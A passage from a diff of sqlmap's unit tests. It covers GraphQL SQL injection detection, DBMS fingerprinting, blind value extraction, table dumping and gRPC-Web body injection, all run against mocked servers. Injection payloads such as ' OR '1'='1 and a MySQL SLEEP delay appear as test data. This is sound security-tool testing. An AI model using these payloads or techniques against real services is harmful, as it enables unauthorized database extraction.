_detectBoolean must reject the errored pair. + def fakeSend(endpoint, query, variables=None): + if "'1'='1" in query: # true -> real rows + return MATCH, 200 + return '{"data":{"user":null},"errors":[{"message":"resolver failed","path":["user"]}]}', 200 + gi._gqlSend = fakeSend + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _, _win = gi._detectBoolean(slot, "http://test/graphql") + self.assertIsNone(oracleType) + + def test_has_errors_and_alias_errored(self): + self.assertTrue(gi._hasErrors('{"data":{"user":null},"errors":[{"message":"x"}]}')) + self.assertFalse(gi._hasErrors('{"data":{"user":null}}')) + # an alias with an error path, or an absent alias, is errored/unknown + self.assertTrue(gi._aliasErrored('{"data":{"a0":null},"errors":[{"message":"e","path":["a0"]}]}', "a0")) + self.assertTrue(gi._aliasErrored('{"data":{"a1":true}}', "a0")) # a0 absent + self.assertFalse(gi._aliasErrored('{"data":{"a0":true}}', "a0")) + + +class TestGraphqlErrorDetection(unittest.TestCase): + """Error-based detection via mock oracle""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def fakeSend(endpoint, query, variables=None): + if "'" in query and "'1'='1" not in query: + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_error_detected(self): + slot = _slot("query", "Query", "user", "username", "string") + oracleType, detail, _win = gi._detectError(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + + def test_report_shows_winning_error_payload_not_boolean(self): + # boolean payloads do NOT diverge (both -> NOMATCH) so boolean detection fails; only the error + # payloads trip a DB error. The reported reproducer must be the WINNING error payload, never the + # generic ' OR '1'='1 boolean payload. + def fakeSend(endpoint, query, variables=None): + if "'1'='" in query: # both boolean payloads ('1'='1 / '1'='2) -> identical, no oracle + return NOMATCH, 200 + if "'" in query: # error payloads (', '', '") -> DB error + return DB_ERROR, 500 + return NOMATCH, 200 + gi._gqlSend = fakeSend + reports = [] + gi.conf.dumper = type("D", (), {"singleString": lambda self, m: reports.append(m)})() + gi.conf.beep = False + slot = _slot("query", "Query", "user", "username", "string") + oracleType, _oracle, _detail = gi._testSlot(slot, "http://test/graphql") + self.assertEqual(oracleType, "error-based") + report = next(r for r in reports if "Payload:" in r) + self.assertNotIn("'1'='1", report) # not the boolean payload + self.assertIn("error-based", report) + + +class TestGraphqlParseRows(unittest.TestCase): + """JSON data row parsing for in-band dumps""" + + def test_single_object(self): + page = '{"data":{"user":{"id":1,"name":"luther","surname":"blisset"}}}' + slot = _slot("query", "Query", "user", "username", "string") + result = gi._parseRows(page, slot) + self.assertIsNotNone(result) + columns, rows = result + self.assertIn("id", columns) + self.assertIn("name", columns) + self.assertEqual(rows[0][columns.index("name")], "luther") + + def test_list_of_objects(self): + page = '{"data":{"search":[{"id":1,"name":"luther"},{"id":2,"name":"fluffy"}]}}' + slot = _slot("query", "Query", "search", "term", "string") + columns, rows = gi._parseRows(page, slot) + self.assertEqual(len(rows), 2) + names = [r[columns.index("name")] for r in rows] + self.assertIn("luther", names) + self.assertIn("fluffy", names) + + def test_null_returns_none(self): + page = '{"data":{"user":null}}' + slot = _slot("query", "Query", "user", "username", "string") + self.assertIsNone(gi._parseRows(page, slot)) + + def test_non_json_returns_none(self): + self.assertIsNone(gi._parseRows("", None)) + + +class TestGraphqlGrid(unittest.TestCase): + """ASCII table rendering""" + + def test_grid(self): + output = gi._grid(["id", "name"], [["1", "luther"], ["2", "fluffy"]]) + self.assertIn("id", output) + self.assertIn("luther", output) + self.assertIn("fluffy", output) + self.assertIn("+-", output) + self.assertIn("|", output) + + +class TestGraphqlEndpointDetection(unittest.TestCase): + """Mock endpoint detection""" + + def setUp(self): + self._gql = gi._gqlSend + def fakeSend(endpoint, query, variables=None): + if endpoint.endswith("/graphql") and "__typename" in query: + return '{"data":{"__typename":"Query"}}', 200 + return 'Not Found', 404 + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_detect_direct_url(self): + endpoint, page = gi._detectEndpoint("http://test/graphql", probePaths=False) + self.assertEqual(endpoint, "http://test/graphql") + + def test_detect_via_probe(self): + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertEqual(endpoint, "http://test/graphql") + + def test_not_graphql_endpoint(self): + def fakeSend(endpoint, query, variables=None): + return 'Not Found', 404 + gi._gqlSend = fakeSend + endpoint, page = gi._detectEndpoint("http://test", probePaths=True) + self.assertIsNone(endpoint) + + +class TestGraphqlIntrospectionFallback(unittest.TestCase): + """Introspection without specifiedByURL (older servers)""" + + def setUp(self): + self._gql = gi._gqlSend + self._conf = gi.conf + gi.conf = type("C", (), {"url": "http://test/graphql"})() + + def tearDown(self): + gi._gqlSend = self._gql + gi.conf = self._conf + + def test_fallback_without_specifiedByURL(self): + calls = [] + def fakeSend(endpoint, query, variables=None): + calls.append(query) + if "specifiedByURL" in query: + return '{"errors":[{"message":"Unknown field specifiedByURL"}]}', 400 + return json.dumps(MOCK_SCHEMA), 200 + + gi._gqlSend = fakeSend + schema = gi._introspect("http://test/graphql") + self.assertIsNotNone(schema) + self.assertIn("queryType", schema) + self.assertEqual(len(calls), 2) # first fails, second succeeds + + +class TestGraphqlNestedReturnSelection(unittest.TestCase): + """Nested return selections for object-typed fields within the return type""" + + def test_auth_payload_nested_user(self): + """AuthPayload { token, user { id name } } -- selection must nest user sub-fields""" + schema = MOCK_SCHEMA["data"]["__schema"] + slots = gi._extractSlots(schema) + loginSlots = [s for s in slots if s.fieldName == "login"] + self.assertTrue(len(loginSlots) > 0) + # The nested selection should include 'user { ... }' at some level + for s in loginSlots: + self.assertIn("token", s.returnSel) + # user sub-fields should appear + self.assertIn("id", s.returnSel) + self.assertIn("name", s.returnSel) + + +class TestGraphqlCell(unittest.TestCase): + """Dump-cell rendering: scalars as text, nested structures as compact JSON, null as NULL""" + + def test_scalar(self): + self.assertEqual(gi._cell("luther"), "luther") + self.assertEqual(gi._cell(7), "7") + + def test_null(self): + self.assertEqual(gi._cell(None), "NULL") + + def test_nested_object_is_json_not_repr(self): + # issue B: a nested object must not leak Python dict syntax into the dump + self.assertEqual(gi._cell({"id": 1, "name": "luther"}), '{"id": 1, "name": "luther"}') + self.assertEqual(gi._cell([1, 2]), "[1, 2]") + + +class TestGraphqlDialects(unittest.TestCase): + """Per-DBMS SQL building blocks""" + + def test_sqlite_ordinal_and_length(self): + d = gi.DIALECTS["SQLite"] + self.assertEqual(d.length("x"), "LENGTH((x))") + self.assertEqual(d.ordinal("x", 3), "UNICODE(SUBSTR((x),3,1))") + + def test_sqlite_row_handles_nulls(self): + d = gi.DIALECTS["SQLite"] + sql = d.row(["name", "surname"], "users", 3) + self.assertIn("LIMIT 1 OFFSET 3", sql) # per-row, not a whole-table GROUP_CONCAT + self.assertIn('COALESCE(CAST("name" AS TEXT),\'NULL\')', sql) # column identifier quoted + self.assertIn('FROM "users"', sql) # table identifier quoted + + def test_row_quotes_reserved_and_mixedcase_identifiers(self): + # a reserved word / mixed-case / spaced / quote-bearing name must be quoted, not interpolated raw + d = gi.DIALECTS["PostgreSQL"] + sql = d.row(["order", 'we"ird'], "myTable", 0) + self.assertIn('CAST("order" AS TEXT)', sql) + self.assertIn('CAST("we""ird" AS TEXT)', sql) # embedded quote doubled + d2 = gi.DIALECTS["Microsoft SQL Server"] + self.assertIn("[order]", d2.row(["order"], "dbo.t", 0)) + + def test_pgsql_schema_qualified_from(self): + # a "schema.table" catalog name qualifies AND quotes both parts for the dump FROM + d = gi.DIALECTS["PostgreSQL"] + self.assertIn('FROM "secret"."users"', d.row(["id"], "secret.users", 0)) + self.assertEqual(d.fromIdent("secret.users"), '"secret"."users"') + + def test_mysql_uses_sleep_delay(self): + d = gi.DIALECTS["MySQL"] + self.assertEqual(d.delay("1=1", 5), "IF((1=1),SLEEP(5),0)") + + def test_sqlite_has_no_delay(self): + self.assertIsNone(gi.DIALECTS["SQLite"].delay) + + +def _dbmsTruth(dbms): + """A truth() oracle that behaves like a real `dbms` back-end: it answers each + dialect's fingerprint predicate by the SQL *semantics* a genuine instance would + exhibit, keyed on the function tokens the predicate emits - never on the + fingerprint constant itself. A predicate referencing a function the back-end does + not implement raises an error on a real server and is therefore falsy here.""" + + # Which vendor-specific tokens each back-end actually understands. A predicate is + # true only if every vendor token it mentions belongs to this back-end (mirroring + # an unknown function being a hard error rather than a false comparison). + knows = { + "SQLite": ("SQLITE_VERSION()",), + "Microsoft SQL Server": ("@@VERSION",), + "PostgreSQL": ("version()",), + "MySQL": ("@@VERSION_COMMENT", "@@VERSION"), + } + # @@VERSION exists on both MSSQL and MySQL; the distinguishing factor is the + # '%Microsoft%' banner match, which only an actual Microsoft server satisfies. + vendorTokens = ("SQLITE_VERSION()", "@@VERSION_COMMENT", "@@VERSION", "version()") + owned = knows[dbms] + + def truth(cond): + # Any vendor token the predicate names must be implemented by this back-end, + # else the probe errors out (falsy). + for token in vendorTokens: + if token in cond and token not in owned: + # @@VERSION is shared; let the banner clause below decide instead. + if token == "@@VERSION" and "@@VERSION_COMMENT" not in cond: + continue + return False + if not any(token in cond for token in vendorTokens): + return False + # @@VERSION LIKE '%Microsoft%' is only true on a real Microsoft server. + if "@@VERSION" in cond and "Microsoft" in cond: + return dbms == "Microsoft SQL Server" + # version() LIKE 'PostgreSQL%' is only true on a real PostgreSQL server. + if "version()" in cond and "PostgreSQL" in cond: + return dbms == "PostgreSQL" + return True + + return truth + + +class TestGraphqlFingerprint(unittest.TestCase): + """DBMS fingerprinting drives off the universal truth() predicate""" + + def test_identifies_sqlite(self): + # A SQLite-modelled oracle answers only SQLite's own probe; _fingerprint must + # discriminate to land on SQLite rather than echo the asserted constant. + self.assertEqual(gi._fingerprint(_dbmsTruth("SQLite")), "SQLite") + + def test_identifies_mysql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("MySQL")), "MySQL") + + def test_identifies_mssql(self): + # @@VERSION is shared with MySQL; only the '%Microsoft%' banner match resolves it. + self.assertEqual(gi._fingerprint(_dbmsTruth("Microsoft SQL Server")), + "Microsoft SQL Server") + + def test_identifies_postgresql(self): + self.assertEqual(gi._fingerprint(_dbmsTruth("PostgreSQL")), "PostgreSQL") + + def test_unknown_backend(self): + self.assertIsNone(gi._fingerprint(lambda cond: False)) + + +def _mockOracle(target): + """A synthetic SQLite-like dialect plus truth/truthBatch closures that answer comparison and bit + predicates against a known `target` string - lets the blind extractors be exercised without HTTP.""" + + dialect = gi.Dialect( + fingerprint="FP", delay=None, banner=None, currentUser=None, currentDb=None, + tableFrom=None, tableCol=None, columnFrom=None, columnCol=None, paginate=None, + length=lambda expr: "LEN(%s)" % expr, + ordinal=lambda expr, pos: "ORD(%s,%d)" % (expr, pos), + row=None, fromIdent=lambda table: table) + + def _value(cond): + pos = None + if cond.startswith("LEN("): + value = len(target) + else: # ORD(,) + pos = int(cond[cond.index(",") + 1:cond.rindex(")")]) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + return value + + def truth(cond): + tail = cond[cond.rindex(")") + 1:] # e.g. ">=65" + op = re.match(r"(>=|>|=)", tail).group(1) + num = int(tail[len(op):]) + value = _value(cond) + return {">": value > num, ">=": value >= num, "=": value == num}[op] + + def truthBatch(conditions): + results = [] + for cond in conditions: + bit = re.match(r"\(ORD\(.*?,(\d+)\) & (\d+)\)>0$", cond) + if bit: + pos, mask = int(bit.group(1)), int(bit.group(2)) + value = ord(target[pos - 1]) if pos - 1 < len(target) else 0 + results.append((value & mask) > 0) + else: + results.append(truth(cond)) + return results + + return dialect, truth, truthBatch + + +class TestGraphqlInference(unittest.TestCase): + """Blind value recovery: sequential bisection and bit-parallel batched extraction""" + + def test_sequential_extraction(self): + for target in ("3.45.1", "users,creds", "db3a16990a0008a3b04707fdef6584a0", ""): + dialect, truth, _ = _mockOracle(target) + self.assertEqual(gi._inferExpr(truth, dialect, "EXPR"), target) + + def test_batched_extraction_matches_sequential(self): + for target in ("3.45.1", "users,creds", "luther~~~blisset^^^fluffy~~~bunny"): + dialect, truth, truthBatch = _mockOracle(target) + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), target) + + def test_batched_empty(self): + dialect, truth, truthBatch = _mockOracle("") + self.assertEqual(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR"), "") + + def test_inconclusive_truth_aborts_value_not_fabricates(self): + # a persistently-inconclusive oracle must abort the value (None), never coerce to false bits + dialect = gi.DIALECTS["SQLite"] + + def truth(cond): + raise gi.InconclusiveError() + + def truthBatch(conds): + raise gi.InconclusiveError() + + self.assertIsNone(gi._inferExpr(truth, dialect, "EXPR")) + self.assertIsNone(gi._inferExprBatched(truthBatch, truth, dialect, "EXPR")) + + def test_make_oracle_batch_transport_failure_raises_not_false(self): + # a FAILED batch request must raise InconclusiveError, NOT decay into a list of False bits + # (which would silently corrupt every value extracted through the batch path) + slot = _slot("query", "Query", "user", "username", "string") + MATCHV = '{"data":{"user":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"user":null}}' + saved = gi._gqlSend + try: + def fakeSend(endpoint, query, variables=None): + if "1=1" in query: + return MATCHV, 200 + if "1=2" in query: + return NOMATCHV, 200 + return MATCHV, 200 + gi._gqlSend = fakeSend + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + + # now make the batch endpoint fail transport -> must raise, not return [False, ...] + gi._gqlSend = lambda endpoint, query, variables=None: (None, 0) + self.assertRaises(gi.InconclusiveError, truthBatch, ["1=1", "1=2"]) + finally: + gi._gqlSend = saved + + +class TestGraphqlDumpTable(unittest.TestCase): + """Whole-table dump: column list + COUNT(*) + one row-scalar per ordinal offset""" + + def test_dump_table(self): + d = gi.DIALECTS["SQLite"] + colFrom = d.columnFrom("users") + responses = { + # columns are enumerated by ordinal position (COUNT + per-index), like rows + "(SELECT COUNT(*) %s)" % colFrom: "2", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 0)): "id", + "(SELECT %s %s %s)" % (d.columnCol, colFrom, d.paginate(d.columnCol, 1)): "name", + "(SELECT COUNT(*) FROM %s)" % d.fromIdent("users"): "2", + d.row(["id", "name"], "users", 0): "1~~~null", + d.row(["id", "name"], "users", 1): "2~~~luther", + } + + def infer(expr, maxLen=gi.MAX_LENGTH): + return responses.get(expr) + + columns, rows = gi._dumpTable(infer, d, "users") + self.assertEqual(columns, ["id", "name"]) + self.assertEqual(rows, [["1", "null"], ["2", "luther"]]) + + +class TestGraphqlMakeOracle(unittest.TestCase): + """Universal truth()/truthBatch() primitive built from a slot's true/false contrast""" + + USER_OBJ = {"id": 1, "name": "luther", "surname": "blisset"} + + def setUp(self): + self._gql = gi._gqlSend + + def fakeSend(endpoint, query, variables=None): + if "a0:" in query: # batched, aliased request + data = {} + for m in re.finditer(r'(a\d+):\w+\(\w+:"[^"]*\((1=1|1=2)\)', query): + data[m.group(1)] = self.USER_OBJ if m.group(2) == "1=1" else None + return json.dumps({"data": data}), 200 + if "(1=1)" in query: + return json.dumps({"data": {"user": self.USER_OBJ}}), 200 + return json.dumps({"data": {"user": None}}), 200 + + gi._gqlSend = fakeSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_truth_primitive(self): + slot = _slot("query", "Query", "user", "username", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertTrue(truth("1=1")) + self.assertFalse(truth("1=2")) + + def test_batched_truth(self): + slot = _slot("query", "Query", "user", "username", "string") + _, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertEqual(truthBatch(["1=1", "1=2", "1=1"]), [True, False, True]) + + +class TestVulnserverGraphqlParser(unittest.TestCase): + """The vulnserver's selection parser must survive aliased batches and bracketed payloads""" + + def setUp(self): + from extra.vulnserver import vulnserver + self.vs = vulnserver + + def test_match_skips_quoted_brackets(self): + text = 'user(username:"x\' OR (1=1)-- "){ id }' + end = self.vs._graphql_match(text, text.index("(")) + self.assertEqual(text[end - 1], ")") # the args close-paren, not one inside the string + + def test_single_field(self): + sels = self.vs._graphql_selections('user(username:"luther"){ id name }') + self.assertEqual(sels, [(None, "user", 'username:"luther"')]) + + def test_aliased_batch_with_payloads(self): + body = 'a0:user(username:"x\' OR (1=1)-- "){ id } a1:user(username:"x\' OR (1=2)-- "){ id }' + sels = self.vs._graphql_selections(body) + self.assertEqual([(a, f) for a, f, _ in sels], [("a0", "user"), ("a1", "user")]) + self.assertIn("(1=1)", sels[0][2]) + self.assertIn("(1=2)", sels[1][2]) + + def test_nested_selection_set(self): + sels = self.vs._graphql_selections('login(username:"a", password:"b"){ token user { id name } }') + self.assertEqual(len(sels), 1) + self.assertEqual(sels[0][1], "login") + + +class TestGraphqlMutationPlanner(unittest.TestCase): + """Mutation slots are auto-tested (read-like ranked first), impact-classified, dry-run preferred.""" + + def test_impact_classification(self): + self.assertEqual(gi._mutationImpact("login"), "read-like") + self.assertEqual(gi._mutationImpact("verifyToken"), "read-like") + self.assertEqual(gi._mutationImpact("createUser"), "write-like") + self.assertEqual(gi._mutationImpact("deletePost"), "write-like") + self.assertEqual(gi._mutationImpact("frobnicate"), "unknown") + + def test_mixed_names_are_write_like_not_read_like(self): + # a read-like substring must NOT mask a write token in the same (camelCase/snake) name + for name in ("updateUserPreview", "previewDeleteUser", "getAndDeleteUser", "createSession", + "validateAndRemoveUser", "preview_delete_user", "get-and-delete-user"): + self.assertEqual(gi._mutationImpact(name), "write-like", name) + # genuine read-like names stay read-like + for name in ("login", "verifyToken", "previewReport", "checkSession", "fetchToken"): + self.assertEqual(gi._mutationImpact(name), "read-like", name) + + def test_ranking_puts_read_like_first_write_like_last(self): + slots = [_slot("mutation", "Mutation", "deleteUser", "id"), + _slot("mutation", "Mutation", "frobnicate", "x"), + _slot("mutation", "Mutation", "login", "username")] + ranked = [s.fieldName for s in gi._rankMutations(slots)] + self.assertEqual(ranked[0], "login") # read-like first + self.assertEqual(ranked[-1], "deleteUser") # write-like last + + def test_write_like_mutation_not_auto_enumerated(self): + # a write-like mutation is NOT eligible as the bulk-enumeration oracle (non-persistence + # unverified), whereas a read-like one is. This is the gate graphqlScan applies. + createSlot = _slot("mutation", "Mutation", "createUser", "name") + loginSlot = _slot("mutation", "Mutation", "login", "username") + self.assertFalse(gi._mutationImpact("createUser") == "read-like" or gi._dryRunVerified(createSlot, "http://x")) + self.assertTrue(gi._mutationImpact("login") == "read-like" or gi._dryRunVerified(loginSlot, "http://x")) + self.assertFalse(gi._dryRunVerified(createSlot, "http://x")) # no automatic non-persistence proof + + def test_mutation_oracle_is_never_batched(self): + # a mutation must NOT return truthBatch: aliased batching executes the write resolver once per + # alias (many writes per request). A boolean-diverging mutation slot yields (truth, None). + MATCHV = '{"data":{"createUser":{"id":1,"name":"luther"}}}' + NOMATCHV = '{"data":{"createUser":null}}' + saved = gi._gqlSend + try: + gi._gqlSend = lambda endpoint, query, variables=None: (MATCHV if "1=1" in query else NOMATCHV, 200) + slot = _slot("mutation", "Mutation", "createUser", "name", "string") + truth, truthBatch = gi._makeOracle(slot, "http://test/graphql") + self.assertIsNotNone(truth) + self.assertIsNone(truthBatch) # batching disabled for mutations + finally: + gi._gqlSend = saved + + def test_dryrun_flag_forced_true_even_when_optional(self): + # an optional Boolean 'dryRun' sibling is normally omitted; for a mutation probe it is forced + # true so the write does not commit + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("dryRun", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("mutation", "Mutation", "createUser", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "x") + self.assertIn("dryRun:true", q) + + +class TestGraphqlSiblingDefaults(unittest.TestCase): + """Required sibling arguments must use their real type, not be hardcoded as strings""" + + def test_numeric_sibling_not_quoted(self): + """field(name: String!, limit: Int!) -- injecting 'name' renders limit:0, not limit:\"0\"""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("limit", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "search", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "' OR '1'='1") + self.assertIn("limit:0", q) + self.assertNotIn('limit:"0"', q) + + def test_boolean_sibling_uses_native_syntax(self): + """field(name: String!, active: Boolean!) -- a required Boolean renders as the native `false` + literal, NOT the quoted string "x" (which would make the whole query fail to parse)""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("active", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Boolean", "ofType": None}}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertIn('active:false', q) + self.assertNotIn('active:"x"', q) + + def test_optional_sibling_is_omitted(self): + """field(name: String!, verbose: Boolean) -- an OPTIONAL sibling with no default is omitted, + not filled with a bogus sentinel that would invalidate the query""" + allArgs = [ + ("name", {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}, None), + ("verbose", {"kind": "SCALAR", "name": "Boolean"}, None), + ] + slot = gi.Slot("query", "Query", "toggle", allArgs, "name", "string", + "OBJECT", "User", "{ id }") + q = gi._buildQuery(slot, "test") + self.assertNotIn("verbose", q) + + +class TestGraphqlScalarReturnSelection(unittest.TestCase): + """Scalar and list-of-scalar returns must not get a spurious {__typename} selection""" + + def test_scalar_return_has_no_selection(self): + """version(format: String): String -- no sub-selection""" + allArgs = [ + ("format", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "version", allArgs, "format", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "json") + self.assertIn('version(format:"json")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + def test_list_of_scalars_has_no_selection(self): + """tags(prefix: String): [String] -- no sub-selection""" + allArgs = [ + ("prefix", {"kind": "SCALAR", "name": "String"}, None), + ] + slot = gi.Slot("query", "Query", "tags", allArgs, "prefix", "string", + "SCALAR", "String", None) + q = gi._buildQuery(slot, "a") + self.assertIn('tags(prefix:"a")', q) + self.assertNotIn("{", q.split(")")[1] if ")" in q else q) + + +class TestGraphqlUnicodeSafety(unittest.TestCase): + """All string conversions must be safe under Python 2 and 3 for non-ASCII data""" + + def test_escape_graphql_string_unicode(self): + escaped = gi._escapeGraphQLString(u"caf\xe9") + self.assertIn("caf", escaped) + + def test_error_text_unicode(self): + page = u'{"errors":[{"message":"caf\xe9","extensions":{"code":"SYNTAX_ERROR"}}]}' + text = gi._errorText(page) + self.assertIn("caf", text) + + def test_cell_unicode(self): + self.assertIn("caf", gi._cell(u"caf\xe9")) + + +class TestGraphqlSuggestionRecovery(unittest.TestCase): + """G1: schema recovery from 'Did you mean' suggestions when introspection is disabled.""" + + def setUp(self): + self._gql = gi._gqlSend + + def tearDown(self): + gi._gqlSend = self._gql + + def test_harvest_suggestions_both_quote_styles(self): + # graphql-js uses double quotes; some servers use single quotes + Oxford 'or' + self.assertEqual( + gi._harvestSuggestions('Cannot query field "x" on type "Query". Did you mean "user" or "search"?'), + ["user", "search"]) + self.assertEqual( + gi._harvestSuggestions("Cannot query field 'x' on type 'Query'. Did you mean 'user', 'me', or 'node'?"), + ["user", "me", "node"]) + self.assertEqual(gi._harvestSuggestions("no suggestion here"), []) + + def test_suggest_fields_from_validation_errors(self): + # An unknown field elicits the closest real field names (graphql-js phrasing) + def fake(endpoint, query, variables=None): + if "{ user }" in query or "{user}" in query: + return '{"data":{"user":null}}', 200 # 'user' is a real (resolving) field + return ('{"errors":[{"message":"Cannot query field \\"%s\\" on type \\"Query\\". ' + 'Did you mean \\"user\\", \\"search\\" or \\"login\\"?"}]}' + % "zz", 200) + gi._gqlSend = fake + fields = gi._suggestFields("http://t/graphql", "query") + for expected in ("user", "search", "login"): + self.assertIn(expected, fields) + + def test_suggest_args_from_unknown_argument(self): + def fake(endpoint, query, variables=None): + return ('{"errors":[{"message":"Unknown argument \\"zz\\" on field \\"Query.user\\". ' + 'Did you mean \\"username\\"?"}]}', 200) + gi._gqlSend = fake + self.assertIn("username", gi._suggestArgs("http://t/graphql", "query", "user")) + + def test_introspect_via_suggestions_builds_slots(self): + def fake(endpoint, query, variables=None): + # introspection-style queries already filtered upstream; here every unknown field + # yields the same suggestion set, and 'search' resolves as a real field + if "{ search }" in query or "{search}" in query: + return '{"data":{"search":[]}}', 200 + if "Unknown argument" in query: # never matches; args fall back to wordlist + return '{}', 200 + return ('{"errors":[{"message":"Cannot query field \\"zz\\" on type \\"Query\\". ' + 'Did you mean \\"search\\"?"}]}', 200) + gi._gqlSend = fake + slots = gi._introspectViaSuggestions("http://t/graphql") + self.assertIsNotNone(slots) + self.assertTrue(any(s.fieldName == "search" for s in slots)) + self.assertTrue(all(s.strategy == "string" for s in slots)) + + def test_introspect_via_suggestions_none_without_suggestions(self): + def fake(endpoint, query, variables=None): + return '{"errors":[{"message":"Syntax Error: unexpected token"}]}', 200 + gi._gqlSend = fake + self.assertIsNone(gi._introspectViaSuggestions("http://t/graphql")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_grpcweb.py b/tests/test_grpcweb.py new file mode 100644 index 00000000000..7c0534103f6 --- /dev/null +++ b/tests/test_grpcweb.py @@ -0,0 +1,268 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +gRPC-Web body support (lib/utils/grpcweb.py, grpc-web-text/unary). Covers the peer-review merge gate: +exact round-trip, injection with length recomputation, strict framing validation (truncation / length +mismatch / trailing bytes / compression / bad varint / field 0), repeated-field distinct injection +points, response decoding incl. trailers-only-via-headers and response-Content-Type gating, and the +side-effect-free probe that lets a declined prompt send the original body. +""" + +import base64 +import json +import os +import struct +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.core.data import conf +from lib.core.data import kb +from lib.utils import grpcweb + +TEXT_CT = [("Content-Type", "application/grpc-web-text")] + + +def _grpcBody(fields): + return base64.b64encode(grpcweb._frame(grpcweb._encode(fields))).decode("ascii") + + +class TestCodec(unittest.TestCase): + def test_wire_roundtrip_exact(self): + inner = grpcweb._encode([[1, 2, b"deep"], [2, 0, 7]]) + msg = grpcweb._encode([[1, 2, b"alice"], [2, 0, 10], [3, 2, inner], [4, 5, b"\x01\x02\x03\x04"]]) + self.assertEqual(grpcweb._encode(grpcweb._decode(msg)), msg) + + def test_varint_boundaries(self): + for n in (0, 1, 127, 128, 300, 16384, 2 ** 31, 2 ** 63): + self.assertEqual(grpcweb._readVarint(grpcweb._writeVarint(n), 0)[0], n) + + def test_overlong_varint_rejected(self): + self.assertRaises(ValueError, grpcweb._readVarint, b"\x80" * 11, 0) + + def test_field_zero_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x02\x01a") # tag 0x02 -> field 0, wire 2 + + def test_truncated_field_rejected(self): + self.assertRaises(ValueError, grpcweb._decode, b"\x0a\x05abc") # declares 5, has 3 + + def test_unframe_strict(self): + good = grpcweb._frame(b"\x08\x01") + self.assertEqual(grpcweb._unframe(good), b"\x08\x01") + self.assertRaises(ValueError, grpcweb._unframe, good[:4]) # truncated header + self.assertRaises(ValueError, grpcweb._unframe, good + b"\x00") # trailing bytes + self.assertRaises(ValueError, grpcweb._unframe, good[:-1]) # declared > available + self.assertRaises(ValueError, grpcweb._unframe, b"\x01" + good[1:]) # compressed flag + + +class TestTranscode(unittest.TestCase): + def setUp(self): + self._h, self._g = conf.httpHeaders, kb.get("grpcWeb") + conf.httpHeaders = list(TEXT_CT) + kb.grpcWeb = None + + def tearDown(self): + conf.httpHeaders, kb.grpcWeb = self._h, self._g + + def test_decode_is_side_effect_free(self): + # probe must NOT touch kb.grpcWeb (that is what lets a declined prompt restore the original) + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + self.assertEqual(json.loads(view), {"f1": "alice"}) + self.assertIsNotNone(skeleton) + self.assertIsNone(kb.grpcWeb) + + def test_exact_roundtrip_no_injection(self): + body = _grpcBody([[1, 2, b"alice"], [2, 0, 10]]) + view, skeleton = grpcweb.decodeBody(body) + kb.grpcWeb = skeleton + self.assertEqual(grpcweb.encodeBody(view), body) # merge-gate #11: encodeBody(decodeBody(x)) == x + + def test_injection_reencodes_with_correct_length(self): + view, skeleton = grpcweb.decodeBody(_grpcBody([[1, 2, b"alice"], [2, 0, 10]])) + kb.grpcWeb = skeleton + wire = grpcweb.encodeBody(json.dumps({"f1": "alice' OR '1'='1"})) + fields = grpcweb._decode(grpcweb._unframe(base64.b64decode(wire))) + self.assertEqual(bytes(fields[0][2]).decode(), "alice' OR '1'='1") + self.assertEqual(fields[1][2], 10) # non-string field preserved + + def test_repeated_fields_distinct_points(self): + view, _ = grpcweb.decodeBody(_grpcBody([[3, 2, b"first"], [3, 2, b"second"]])) + self.assertEqual(json.loads(view), {"f3_0": "first", "f3_1": "second"}) + + def test_parseable_strings_are_offered(self): + # ordinary strings that ALSO happen to parse as protobuf wire data must NOT be silently dropped + # ("A12345678" -> fixed64 tag, "M1234" -> fixed32 tag); descriptorless can't tell, so offer them + view, _ = grpcweb.decodeBody(_grpcBody([[1, 2, b"A12345678"], [2, 2, b"M1234"]])) 